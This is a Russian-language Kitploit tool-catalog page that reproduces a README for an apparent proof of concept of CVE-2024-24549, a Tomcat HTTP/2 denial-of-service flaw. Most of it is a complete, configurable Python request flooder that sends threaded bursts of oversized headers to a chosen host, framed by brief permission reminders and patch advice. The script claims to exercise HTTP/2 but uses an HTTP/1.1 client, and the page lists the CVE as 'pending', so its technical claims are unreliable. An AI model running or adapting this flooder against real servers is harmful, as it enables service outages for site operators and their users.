Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-24549 — Скрипт Python, доказывающий концепцию для CVE-2024-24549, демонстрирующий отказ в обслуживании Apache Tomcat HTTP/2 через чрезмерно большие заголовки, которые истощают ресурсы сервера. | Kitploit
Инструменты/GitHubGitHub/abdurahmon3236/cve-2024-24549
Анализ уязвимостейЭксплуатацияВеб-безопасностьТестирование на ПроникновениеRed Teaming
GitHubabdurahmon3236/cve-2024-24549

CVE-2024-24549

Скрипт Python, доказывающий концепцию для CVE-2024-24549, демонстрирующий отказ в обслуживании Apache Tomcat HTTP/2 через чрезмерно большие заголовки, которые истощают ресурсы сервера.

Репозиторий
1022 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Вот README.md для Proof of Concept (PoC), демонстрирующего уязвимость типа «Отказ в обслуживании» (DoS) в Apache Tomcat, вызванную некорректной проверкой ввода HTTP/2-запросов:


Proof of Concept (PoC) для уязвимости типа «Отказ в обслуживании» (DoS) в Apache Tomcat

Этот репозиторий содержит скрипт Proof of Concept (PoC), демонстрирующий уязвимость типа «Отказ в обслуживании» (DoS) в Apache Tomcat. Уязвимость возникает из-за некорректной проверки ввода HTTP/2-запросов, что может привести к условиям DoS.

Описание уязвимости

CVE-ID: (Pending)

Обзор: Версии Apache Tomcat с 11.0.0-M1 по 11.0.0-M16, с 10.1.0-M1 по 10.1.18, с 9.0.0-M1 по 9.0.85 и с 8.5.0 по 8.5.98 подвержены атаке типа «Отказ в обслуживании». Проблема возникает при обработке HTTP/2-запросов с заголовками, превышающими настроенные лимиты. Поток HTTP/2 не сбрасывается до тех пор, пока не будут обработаны все заголовки, что потенциально может привести к истощению ресурсов.

Затронутые версии:

  • Apache Tomcat 11.0.0-M1 – 11.0.0-M16
  • Apache Tomcat 10.1.0-M1 – 10.1.18
  • Apache Tomcat 9.0.0-M1 – 9.0.85
  • Apache Tomcat 8.5.0 – 8.5.98

Способы смягчения:

  • Обновление до версий Apache Tomcat 11.0.0-M17, 10.1.19, 9.0.86 или 8.5.99 и выше.

Детали PoC

Этот скрипт PoC демонстрирует, как использовать уязвимость DoS, отправляя HTTP/2-запросы, превышающие настроенные лимиты заголовков. Скрипт отправляет большое количество запросов для истощения ресурсов сервера.

Скрипт PoC

import http.client
import threading
import logging
import time
import random
import string
import argparse
import os

# Configuration defaults
DEFAULT_HOST = "target-server"
DEFAULT_PORT = 443
DEFAULT_NUM_REQUESTS = 1000
DEFAULT_CONCURRENT_THREADS = 10
DEFAULT_REQUEST_INTERVAL = 0.5
DEFAULT_LOG_FILE = "requests.log"

# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

def random_string(length):
    """Generate a random string of fixed length."""
    letters = string.ascii_letters + string.digits
    return ''.join(random.choice(letters) for i in range(length))

def dynamic_payload():
    """Generate a dynamic payload for requests."""
    return random_string(random.randint(10, 100))

def send_request(conn, method, endpoint, headers, payload):
    """Send a single HTTP request."""
    conn.request(method, endpoint, body=payload, headers=headers)
    response = conn.getresponse()
    return response.status, response.reason

def send_dos_requests(host, port, num_requests, concurrent_threads, request_interval, log_file):
    def worker(thread_id):
        conn = None
        try:
            conn = http.client.HTTPSConnection(host, port, timeout=10)
            for i in range(num_requests // concurrent_threads):
                method = random.choice(["GET", "POST"])
                headers = {
                    "Content-Type": "application/x-www-form-urlencoded",
                    "X-Test-Header": random_string(65536)
                }
                payload = dynamic_payload() if method == "POST" else None
                status, reason = send_request(conn, method, "/", headers, payload)
                logging.info(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}")

                with open(log_file, "a") as logf:
                    logf.write(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}\n")

                time.sleep(request_interval)

        except Exception as e:
            logging.error(f"Thread {thread_id} - An error occurred: {e}")
        finally:
            if conn:
                conn.close()

    # Create and start threads
    threads = []
    for i in range(concurrent_threads):
        thread = threading.Thread(target=worker, args=(i + 1,))
        thread.start()
        threads.append(thread)
        time.sleep(0.1)

    for thread in threads:
        thread.join()

    logging.info("Completed sending requests")

def parse_args():
    """Parse command-line arguments."""
    parser = argparse.ArgumentParser(description="HTTP Request Flooder")
    parser.add_argument('--host', default=DEFAULT_HOST, help='Target server address')
    parser.add_argument('--port', type=int, default=DEFAULT_PORT, help='Target server port')
    parser.add_argument('--num-requests', type=int, default=DEFAULT_NUM_REQUESTS, help='Total number of requests to send')
    parser.add_argument('--concurrent-threads', type=int, default=DEFAULT_CONCURRENT_THREADS, help='Number of concurrent threads')
    parser.add_argument('--request-interval', type=float, default=DEFAULT_REQUEST_INTERVAL, help='Interval between requests')
    parser.add_argument('--log-file', default=DEFAULT_LOG_FILE, help='File to log request results')
    return parser.parse_args()

if __name__ == "__main__":
    args = parse_args()
    logging.info(f"Starting flooder with {args.num_requests} requests to {args.host}:{args.port} using {args.concurrent_threads} threads")
    send_dos_requests(
        host=args.host,
        port=args.port,
        num_requests=args.num_requests,
        concurrent_threads=args.concurrent_threads,
        request_interval=args.request_interval,
        log_file=args.log_file
    )

Пояснение

  1. Конфигурация: Задайте host как адрес целевого сервера, а port — соответствующий порт (обычно 443 для HTTPS). Отрегулируйте num_requests для управления количеством отправляемых запросов.
  2. Создание соединения: Скрипт устанавливает HTTPS-соединение с целевым сервером.
  3. Заголовки: Используется большое значение заголовка, чтобы превысить настроенные лимиты и вызвать уязвимость.
  4. Отправка запросов: Скрипт отправляет множество HTTP/2 POST-запросов с увеличенными заголовками на целевой сервер.
  5. Вывод статуса: Выводит код состояния каждого запроса для отслеживания воздействия.

Важные соображения

  • Разрешения: Убедитесь, что у вас есть явное разрешение на проведение этого теста на целевом сервере. Несанкционированное тестирование незаконно и неэтично.
  • Тестовая среда: Проводите тесты в контролируемой среде, чтобы избежать нарушения работы производственных служб.
  • Этичное использование: Используйте этот PoC ответственно и только в авторизованных контекстах.

Смягчение уязвимости

Чтобы снизить риски этой уязвимости:

  1. Обновите Apache Tomcat: Обновитесь до версий 11.0.0-M17, 10.1.19, 9.0.86 или 8.5.99 и выше.
  2. Проверьте конфигурацию: Настройте конфигурацию сервера для более эффективной обработки больших или вредоносных HTTP/2-запросов.
  3. Мониторинг ресурсов: Внедрите мониторинг для обнаружения и реагирования на необычные шаблоны запросов, которые могут указывать на DoS-атаку.

Для получения дополнительной информации о защите вашей установки Apache Tomcat обратитесь к официальной документации Apache Tomcat.


Этот README.md содержит обзор уязвимости, скрипт PoC и инструкции по смягчению. Убедитесь, что вы используете этот PoC ответственно и только в системах, где у вас есть явное разрешение.

Скачать инструмент